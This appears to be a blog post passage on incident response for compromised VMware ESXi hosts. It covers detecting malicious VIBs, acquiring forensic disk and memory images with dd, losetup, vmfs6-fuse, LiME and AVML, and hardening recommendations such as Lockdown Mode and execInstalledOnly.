bnxtroce 216.0.58.0-23vmw.703.0.50.20036589 VMW VMwareCertified 2024-09-17
brcmfcoe 2.0.1500.2-3vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
EvilVIB 1.0.0-3-vmw CommunitySupported 2024-10-20
elxiscsi 12.0.1200.0-9vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
elxnet 12.0.1250.0-5vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
i40en 1.11.1.31-1vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
To detect these malicious VIBs, VMware (oh well, our friends Broadcom) created a script named "Verify_ESXi_VIB_signature.ps1" that allows listing the installed VIBs with their respective Acceptance level and digital signatures in all ESXi instances. The purpose of this script is to be able to identify those malicious VIBs installed by a threat actor, through a CSV document that is output when this script is executed.
Forensic images on ESXi
Obtaining forensic images from ESXi servers can be done in different ways depending on the context of the investigation. I have encountered cases where organizations or companies have turned off the servers after the attack and are afraid to power them back on due to the potential risk of malware spreading throughout their network. In other cases, the servers have remained on but disconnected from the network, and the administrators have lost access due to password changes made by the threat actor.
Regardless of the case, if we are handling an incident response, these scenarios will require us to take a forensic disk image and a memory image of the affected server.
To achieve this, we must first understand that ESXi is a type-1 hypervisor, which means it runs directly on the system's hardware without the need for an operating system (OS). Most of the essential components of this system reside in the server's RAM, so obtaining a disk image differs from conventional memory images that we typically take from Unix servers
Disk Image
When we list the disks of an ESXi server, we can see a basic structure like the following:
[root@ESXIA:/] esxcfg-scsidevs -c
Device UID Device Type Console Device Size Multipath PluginDisplay Name
mpx.vmhba0:C0:T0:L0 Direct-Access /vmfs/devices/disks/mpx.vmhba0:C0:T0:L0 15360MB HPP Local VMware, Disk (mpx.vmhba0:C0:T0:L0)
mpx.vmhba0:C0:T1:L0 Direct-Access /vmfs/devices/disks/mpx.vmhba0:C0:T1:L0 40960MB HPP Local VMware, Disk (mpx.vmhba0:C0:T1:L0)
mpx.vmhba64:C0:T0:L0 CD-ROM /vmfs/devices/cdrom/mpx.vmhba64:C0:T0:L0 5582MB NMP Local NECVMWar CD-ROM (mpx.vmhba64:C0:T0:L0)[root@ESXIA:~] df -h
Filesystem Size Used Available Use% Mounted on
VMFS-6 39.8G 35.1G 4.7G 88% /vmfs/volumes/Datastore40-A
VFFS 12.8G 2.8G 9.9G 22% /vmfs/volumes/OSDATA-66e9e98f-f7c392d5-355e-000c29f80503
vfat 1023.8M 202.7M 821.2M 20% /vmfs/volumes/BOOTBANK1
vfat 1023.8M 32.0K 1023.8M 0% /vmfs/volumes/BOOTBANK2As we can see, the 15 GB device (or disk) mpx.vmhba0:C0:T0:L0 corresponds to the OS-DATA partition, which contains persistent system files such as VIBs and scratch logs. Typically, this is the partition from which we would acquire a forensic image. However, it is highly likely that tools used by threat actors reside in the root ("/") directory of the system, from which we would not have hard evidence if the server is rebooted, as this directory is memory-resident.
If administrators have access to the ESXi system, obtaining an image simply involves creating a bit-for-bit copy to a sufficiently sized destination using the dd tool:
[root@ESXIA:/] dd if=/vmfs/devices/disks/mpx.vmhba0:C0:T0:L0 of=/Path/with/enought/Space/image_evidence.dd bs=4096 conv=sync,noerrorWe can perform a similar procedure, but booting from a Linux image and running the command (with some differences since we are booting from another Linux).
A third option is to remove the physical disk from the server and connect it to a Windows device and use a tool like FTKimager to generate the image.
Then, having our image copied, we can proceed to mount it. To do this, if the disk is in raw format as shown above (result of running dd), we must map the disk to the loop partitions using the losetup tool.
sudo /usr/sbin/losetup --partscan --find --show image_evidence.ddIf we list the partitions using lsbk on our Linux system, we will see something like the following:
15:52 h4tt0r1 かたな Katana: ~/ $ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
loop0 7:0 0 15G 0 loop
├─loop0p1 259:5 0 100M 0 part
├─loop0p5 259:6 0 1G 0 part
├─loop0p6 259:7 0 1G 0 part
└─loop0p7 259:8 0 12.9G 0 part
sda 8:0 0 1.8T 0 disk
└─sda1 8:1 0 1.8T 0 part
nvme0n1 259:0 0 1.9T 0 disk
................................Afterwards, we must mount it to a directory using VMFS6-FUSE (remember that our partition has a VMFS type file system).
sudo /usr/sbin/vmfs6-fuse /dev/loop0p7 /mnt/esxi_evidenceFor this last step, I recommend using VMFS6-tools version 0.2.1. Other versions gave me errors with my Linux system kernel (because libc).
With this, we can inspect the contents of the obtained disk image.
Memory image
As you may understand, since threat actors often use volatile system directories such as "/" or "/opt", it becomes necessary to acquire memory images to attempt to retrieve other malicious artifacts copied by the actor.
In my experience, the best way to perform this procedure is by using a bootable USB that allows the execution of tools like AVML or LiMe.
But how can you boot from a USB without shutting down the system and losing the contents of the RAM?
The answer lies in performing a soft reboot. Keep in mind that if you completely power down your ESXi server, there is a high probability that the RAM's contents will be lost. Therefore, you must exercise extreme caution during this reboot process.
With this in mind, performing this extraction simply requires following the steps provided in the documentation of the chosen tool (LiME or AVML). As for the analysis, we’ll leave that for a future blog post.
Recommendations
Below are some security recommendations that should be considered when hardening these environments and that can stop the catastrophic consequences of this type of intrusion into critical infrastructure.
High priority recommendations
Disable SSH and Shell access on ESXi hosts and vCenter servers.
Restrict access to VMware servers to specific IP addresses using local firewall rules on ESXi and vCenter servers.
Disable internet access on VMware servers.
Implement the use of dedicated workstations and/or VPNs with specific profiles for administrative access to VMware infrastructure.
Use dedicated desktops or hardened jump servers for managing VMware infrastructure.
Restrict access to ESXi, vCenter, vSAN, and other management interfaces by placing them in specific VLANs.
Enable Lockdown Mode (preferably in strict mode) to ensure all operations are exclusively performed through vCenter.
Configure Two-Factor Authentication (2FA) for vCenter access.
Examples: Smart Cards, RSA SecureID, or Duo Security.
Restrict the installation of malicious VIBs by enabling Secure Boot.
Prevent the execution of binaries (ELF files and shell scripts) on ESXi servers.
Use native ransomware protection by enabling the execInstalledOnly parameter.The execInstalledOnly option helps protect your hosts from ransomware attacks by ensuring that VMkernel only runs binaries that are properly packaged and signed as part of a valid VIB. While this option prevents the execution of shell scripts and ELF binaries, it does not block Python scripts.
[root@ESXIA:~] esxcli system settings advanced list -o /User/execInstalledOnly
Path: /User/ExecInstalledOnly
Type: integer
Int Value: 1
Default Int Value: 1
Min Value: 0
Max Value: 1
String Value:
Default String Value:
Valid Characters:
Description: Runtime option to disable/enable exec InstalledOnly. The runtime option is only checked if the related exec InstalledOnly kernel
option is disabled.
Host Specific: false
Impact: noneMedium priority recommendations
Enforce the use of strong, robust passwords for accounts associated with the VMware infrastructure.
Utilize Trusted Platform Module (TPM) for monitoring configuration changes.
Implement centralized monitoring through a SIEM solution:
This requires forwarding logs to the SIEM platform.
Disable or restrict the use of the VIX API to designated user accounts on ESXi systems.
Enable timestamps in the command history of users (e.g., /root/.ash_history on ESXi).
Enable detailed logging and use the /Scratch partition for persistent log storage.
Implement robust backup solutions to ensure data recovery.
While some of these recommendations are specific to VMware systems, many are excellent practices for protecting any critical organizational assets. I highly encourage you to incorporate them into your cybersecurity roadmap—they could be a lifesaver during a devastating network incident.
If you have any questions about the topics discussed in this post, don’t hesitate to reach out to me on social media. Thank you to everyone who takes the time to read my posts, even though I only write one a year (haha).
With that said, we'll wrap up the post here.